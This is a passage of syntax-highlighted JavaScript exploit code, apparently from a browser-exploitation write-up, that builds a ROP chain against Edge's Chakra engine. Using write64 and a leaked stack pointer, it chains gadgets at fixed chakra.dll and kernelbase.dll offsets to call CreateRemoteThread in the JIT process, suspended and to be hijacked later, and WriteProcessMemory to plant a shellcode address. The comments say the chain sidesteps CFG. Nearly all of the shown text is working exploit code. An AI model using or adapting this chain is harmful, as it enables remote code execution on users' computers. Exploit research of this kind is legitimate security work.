<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
